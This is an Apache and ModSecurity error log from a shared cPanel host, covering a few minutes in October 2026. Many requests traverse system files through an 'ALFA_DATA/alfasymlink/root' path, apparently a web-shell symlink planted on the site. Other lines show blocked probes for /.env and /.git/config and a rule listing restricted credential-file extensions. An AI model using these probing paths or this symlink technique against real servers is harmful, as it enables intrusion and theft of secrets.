[Sun Oct 25 02:36:10.157419 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.4.76.156:37088] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:36:14.226058 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 18.213.240.226:29132] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:36:20.423561 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 85.208.96.200:25810] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/free_calls
[Sun Oct 25 02:36:22.170068 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 44.205.74.196:16935] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:36:26.163019 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 23.21.148.226:32598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:36:30.155580 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 52.6.97.88:59740] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:0b/eject
[Sun Oct 25 02:36:34.181449 2026] [ssl:error] [pid 2781524:tid 2781524] (5)Input/output error: [client 3.218.35.239:37755] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:36:38.148954 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.6.97.88:64920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:36:43.163525 2026] [security2:error] [pid 2781030:tid 2781030] [client 85.208.96.205:20514] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/phplist/php56/edit.php"] [unique_id "at2je7QKh4dfs72fmHxu5gAAAAE"]
[Sun Oct 25 02:36:43.163562 2026] [security2:error] [pid 2781030:tid 2781030] [client 85.208.96.205:20514] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/phplist/php56/edit.php"] [unique_id "at2je7QKh4dfs72fmHxu5gAAAAE"]
[Sun Oct 25 02:36:46.147111 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.229.164.203:20452] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:36:50.178505 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 98.83.72.38:59036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:37:02.202282 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 34.224.9.144:19582] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:37:10.253277 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.44.229.124:29941] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:37:14.199030 2026] [security2:error] [pid 2781030:tid 2781030] [client 54.156.124.2:56866] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/memory15/power/"] [unique_id "at2jmrQKh4dfs72fmHxu5wAAAAE"]
[Sun Oct 25 02:37:14.199077 2026] [security2:error] [pid 2781030:tid 2781030] [client 54.156.124.2:56866] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/memory15/power/"] [unique_id "at2jmrQKh4dfs72fmHxu5wAAAAE"]
[Sun Oct 25 02:37:30.207076 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.203.68.145:2265] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:37:34.166013 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 44.213.36.21:11150] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:37:42.277074 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 34.202.88.37:48954] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:37:50.172152 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 52.204.81.148:54056] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:37:55.566905 2026] [core:crit] [pid 2762145:tid 2762145] (13)Permission denied: [client 44.218.139.236:59280] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/EA4-c8-afeacb379ca0a246/libdnf.AYxCv3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/EA4-c8-afeacb379ca0a246/libdnf.AYxCv3/' is executable
[Sun Oct 25 02:37:55.579866 2026] [core:crit] [pid 2762145:tid 2762145] (13)Permission denied: [client 44.218.139.236:59280] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/EA4-c8-afeacb379ca0a246/libdnf.K8ajdF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/EA4-c8-afeacb379ca0a246/libdnf.K8ajdF/' is executable
[Sun Oct 25 02:38:06.168864 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 3.222.190.107:16164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS2/type
[Sun Oct 25 02:38:09.829545 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 85.208.96.200:37078] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:38:09.865460 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 85.208.96.200:37080] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:38:10.178166 2026] [security2:error] [pid 2781030:tid 2781030] [client 3.221.244.28:2092] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/link/"] [unique_id "at2j0rQKh4dfs72fmHxu6gAAAAE"]
[Sun Oct 25 02:38:10.178202 2026] [security2:error] [pid 2781030:tid 2781030] [client 3.221.244.28:2092] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/link/"] [unique_id "at2j0rQKh4dfs72fmHxu6gAAAAE"]
[Sun Oct 25 02:38:30.164781 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 34.227.234.246:16349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:38:46.251368 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 35.153.86.200:18516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:38:50.121198 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.222.85.38:17236] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:38:56.819127 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 85.208.96.199:39762] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-16/order
[Sun Oct 25 02:39:02.142382 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 98.82.38.120:37718] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:39:18.265290 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 23.21.148.226:17263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:39:22.142669 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.85.109.140:19156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:39:30.336977 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 34.206.249.188:29469] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:39:58.162593 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.197.114.76:27930] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:40:18.214260 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 18.233.24.238:40126] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:40:21.170453 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 85.208.96.206:54468] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_node/order
[Sun Oct 25 02:40:22.237452 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.221.203.24:7390] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:40:26.224941 2026] [ssl:error] [pid 2781481:tid 2781481] (5)Input/output error: [client 52.204.253.129:58992] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:40:30.396055 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 34.194.226.74:25961] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:40:34.234888 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 98.82.40.168:4946] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:40:42.205866 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 50.19.102.70:7726] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:40:50.225883 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.163.136.244:7304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:40:58.410443 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.73.142.41:12349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:41:04.166951 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 185.191.171.14:29488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kcopyd_job/cpu_partial
[Sun Oct 25 02:41:04.808794 2026] [security2:error] [pid 2781507:tid 2781507] [client 130.12.180.168:38874] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2kgJ68N771hz7W4KlrZQAAAAw"]
[Sun Oct 25 02:41:04.809098 2026] [security2:error] [pid 2781507:tid 2781507] [client 130.12.180.168:38874] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2kgJ68N771hz7W4KlrZQAAAAw"]
[Sun Oct 25 02:41:04.809616 2026] [security2:error] [pid 2781507:tid 2781507] [client 130.12.180.168:38874] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2kgJ68N771hz7W4KlrZQAAAAw"]
[Sun Oct 25 02:41:14.209598 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 44.210.213.220:14379] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:41:23.468845 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 18.209.201.119:4818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/rescan
[Sun Oct 25 02:41:38.394271 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 18.213.240.226:34592] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:41:42.294791 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 44.193.102.198:6946] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:41:46.286879 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 52.45.15.233:26662] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:0d/eject
[Sun Oct 25 02:41:50.354203 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 107.22.208.39:11006] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:41:54.243932 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 52.71.203.206:38306] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:42:06.507598 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 34.227.156.153:50853] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:42:10.463469 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 34.199.252.22:51275] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:42:14.321510 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.84.147.79:53279] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:42:34.459668 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.197.102.71:19688] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:42:38.512108 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 52.3.26.180:55779] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/slots/22/module/uevent
[Sun Oct 25 02:42:50.241322 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.2.83.227:8487] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:42:52.758921 2026] [security2:error] [pid 2781480:tid 2781480] [client 43.166.242.189:55728] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/"] [unique_id "at2k7KrU4NwppjTEGaL45QAAAAY"]
[Sun Oct 25 02:42:58.438027 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.86.59.155:42170] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:43:06.244097 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 98.82.107.102:63209] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:43:14.255564 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 54.147.238.89:51265] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input0/event0/device/device/subsystem/drivers/ec/bind
[Sun Oct 25 02:43:23.515586 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 185.191.171.7:15956] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/sanity_checks
[Sun Oct 25 02:43:26.871226 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 85.208.96.212:25744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/cpu_partial
[Sun Oct 25 02:43:26.871752 2026] [security2:error] [pid 2775672:tid 2775672] [client 85.208.96.212:25744] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/cpu_partial"] [unique_id "at2lDsqduxFlyzJhl1wDvwAAAAA"]
[Sun Oct 25 02:43:26.871778 2026] [security2:error] [pid 2775672:tid 2775672] [client 85.208.96.212:25744] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/cpu_partial"] [unique_id "at2lDsqduxFlyzJhl1wDvwAAAAA"]
[Sun Oct 25 02:43:38.376380 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 34.225.243.131:49334] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:43:43.562526 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 18.214.251.19:42355] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:43:58.465124 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.221.156.96:27358] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:44:02.295738 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.200.58.199:28175] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:44:10.627589 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 34.194.233.48:58099] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:44:11.703730 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 185.191.171.14:49434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/min_partial
[Sun Oct 25 02:44:14.306565 2026] [ssl:error] [pid 2781523:tid 2781523] (5)Input/output error: [client 23.23.103.31:7488] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:44:22.478230 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.229.164.203:12920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:44:27.835557 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 98.83.72.38:16531] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/node0/cpu0/driver/uevent
[Sun Oct 25 02:44:34.319248 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 52.7.33.248:11437] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:44:38.360864 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.84.250.51:54296] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:44:50.943758 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 98.84.131.195:56811] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/remove_id
[Sun Oct 25 02:44:54.713564 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.85.7.119:40403] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:44:55.464234 2026] [authz_core:error] [pid 2775684:tid 2775684] [client 20.53.239.152:13011] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 02:45:02.829425 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.214.138.148:3003] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:45:03.370152 2026] [cgi:error] [pid 2775684:tid 2775684] [client 20.53.239.152:13011] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Sun Oct 25 02:45:06.469106 2026] [ssl:error] [pid 2775712:tid 2775712] (5)Input/output error: [client 54.225.181.161:40281] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:45:10.497285 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 54.147.238.89:16634] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:45:19.956540 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 85.208.96.208:44134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/objects_partial
[Sun Oct 25 02:45:22.364073 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.221.203.24:9351] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:45:24.151908 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.191.171.6:43846] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/Audigy.conf"] [unique_id "at2lhLQKh4dfs72fmHxu-wAAAAE"]
[Sun Oct 25 02:45:24.152350 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.191.171.6:43846] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/Audigy.conf"] [unique_id "at2lhLQKh4dfs72fmHxu-wAAAAE"]
[Sun Oct 25 02:45:24.152791 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.191.171.6:43846] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/Audigy.conf"] [unique_id "at2lhLQKh4dfs72fmHxu-wAAAAE"]
[Sun Oct 25 02:45:26.335334 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.232.11.247:23750] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:45:30.308380 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 52.3.102.51:19751] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty5/subsystem/ttyS0/line
[Sun Oct 25 02:45:38.542970 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 44.205.192.249:58556] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:45:46.442027 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 18.207.89.138:39804] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:45:54.335757 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 100.28.49.152:8265] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:46:02.680292 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 185.191.171.2:54662] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.1/remove
[Sun Oct 25 02:46:08.942579 2026] [security2:error] [pid 2775684:tid 2775684] [client 136.70.179.115:15378] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2lsAanevcJbML2UkvnWAAAAAU"]
[Sun Oct 25 02:46:08.942881 2026] [security2:error] [pid 2775684:tid 2775684] [client 136.70.179.115:15378] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2lsAanevcJbML2UkvnWAAAAAU"]
[Sun Oct 25 02:46:08.943117 2026] [security2:error] [pid 2775684:tid 2775684] [client 136.70.179.115:15378] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2lsAanevcJbML2UkvnWAAAAAU"]
